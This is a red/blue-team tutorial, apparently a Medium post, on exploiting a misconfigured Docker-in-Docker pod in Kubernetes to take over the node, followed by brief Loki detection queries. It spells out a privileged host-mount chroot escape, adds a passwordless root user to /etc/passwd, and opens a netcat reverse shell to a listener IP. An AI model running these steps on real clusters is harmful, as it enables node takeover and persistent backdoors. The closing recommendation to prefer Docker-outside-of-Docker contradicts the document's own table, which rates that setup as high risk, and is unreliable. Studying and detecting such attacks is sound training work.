KubePwn: The Ultimate Kubernetes Red & Blue Team — Docker-in-Docker (DIND) Exploitation — Full Node Takeover

Train like a Red Teamer | Hunt like a Blue Teamer | Learn like a Warrior

Overview:

Docker-in-Docker (DIND) is a technique where a Docker daemon runs inside a Docker container. While it serves critical CI/CD use cases, its misconfiguration in a Kubernetes cluster can lead to a full host compromise, privilege escalation, and data exfiltration.

What is Docker-in-Docker (DIND)?

DIND stands for Docker-in-Docker, a setup where a Docker daemon is launched *insidea container. This allows nested Docker commands such as image builds, container launches, and network isolation — all within a containerized environment.

Why Use DIND?

Building Docker images in CI pipelines (GitLab CI, Jenkins, etc.) Creating isolated Docker environments per CI job Simulating full Docker environments for test automation

How DIND Works

A container starts and launches a Docker daemon inside. This daemon handles Docker commands independently of the host’s Docker. It uses its *own Docker socket(/var/run/docker.sock) unless explicitly shared.

DIND vs. DooD (Docker Outside of Docker)

| **Feature**         | **DIND (Docker-in-Docker)**         | **DooD (Docker-outside-of-Docker)**        |
|---------------------|-------------------------------------|--------------------------------------------|
| **Docker Daemon**   | Runs inside the container           | Shares host's Docker socket                |
| **Isolation**       | High                                | Low (shares host environment)              |
| **Speed**           | Slower (bootstraps Docker)          | Faster (no daemon startup needed)          |
| **Security Risk**   | Moderate                            | High (host Docker socket exposed)          |
| **Use Case**        | Full sandboxing (CI, testbed)       | Lightweight build/test inside container    |

Exploiting DIND in a Kubernetes Cluster

A misconfigured DIND pod in Kubernetes can allow host file access, root escalation, and reverse shell access.

Step 1: Enumerate the Environment

kubectl get pods -A

kubectl exec -it dind-vulnerable - sh

Step 2: Try to Access Host Files

ls /host
ls /proc/1/root

Step 3: Attempt to Mount Host Filesystem (fails in most hardened setups)

mount -t proc proc /mnt/proc # Expected to fail without extra privileges

Step 4: Verify Docker Works Inside

docker ps

hostname

Launch a Host-Mounted Container (Privilege Escalation)

We’ll leverage DIND to mount the host filesystem (/) and chroot into it — gaining full root access.

docker run - rm -it -v /:/host - privileged alpine chroot /host sh

whoami
hostname

Step 5: Create a New Root User

echo "KubePwn::0:0:KubePwn:/root:/bin/bash" >> /etc/passwd

Establishing a Reverse Shell (Node Takeover)

Start listener:

nc -nlvp 9192

Then from the chroot shell:

nc 192.168.174.128 9192 -e /bin/sh

Boom — a reverse shell from the host node.

Threat Hunting & Detection

Monitor logs for suspicious networking activity (like backdoor connections):

{job=~".+"} |= "9192"
{job=~".+"} |= "nc 192.168.174.128 9192 -e /bin/bash"

These queries will help detect unauthorized reverse shells and shell-based payloads.

Summary

DIND may appear harmless and useful for CI/CD purposes, but in production clusters with escalated privileges, it’s a ticking time bomb. Misusing it can:

Grant root access to Kubernetes nodes Bypass namespace and container boundaries Enable lateral movement inside the cluster

Pro Tip: Always prefer Docker-outside-of-Docker (DooD) with strict controls or use buildkit with secure builders instead.

🙌 Found This Useful? Show Support ❤️

If this guide helped you in any way, show some love and support:

👏 Clap on Medium 💬 Drop a comment below ⭐️ Star the repo on GitHub repo 📺 Subscribe on YouTube 🤝 Connect with me on LinkedIn 💬 Connect on Twitter: @deep_cyber_noob

📢 Share it on LinkedIn, Reddit, and with your team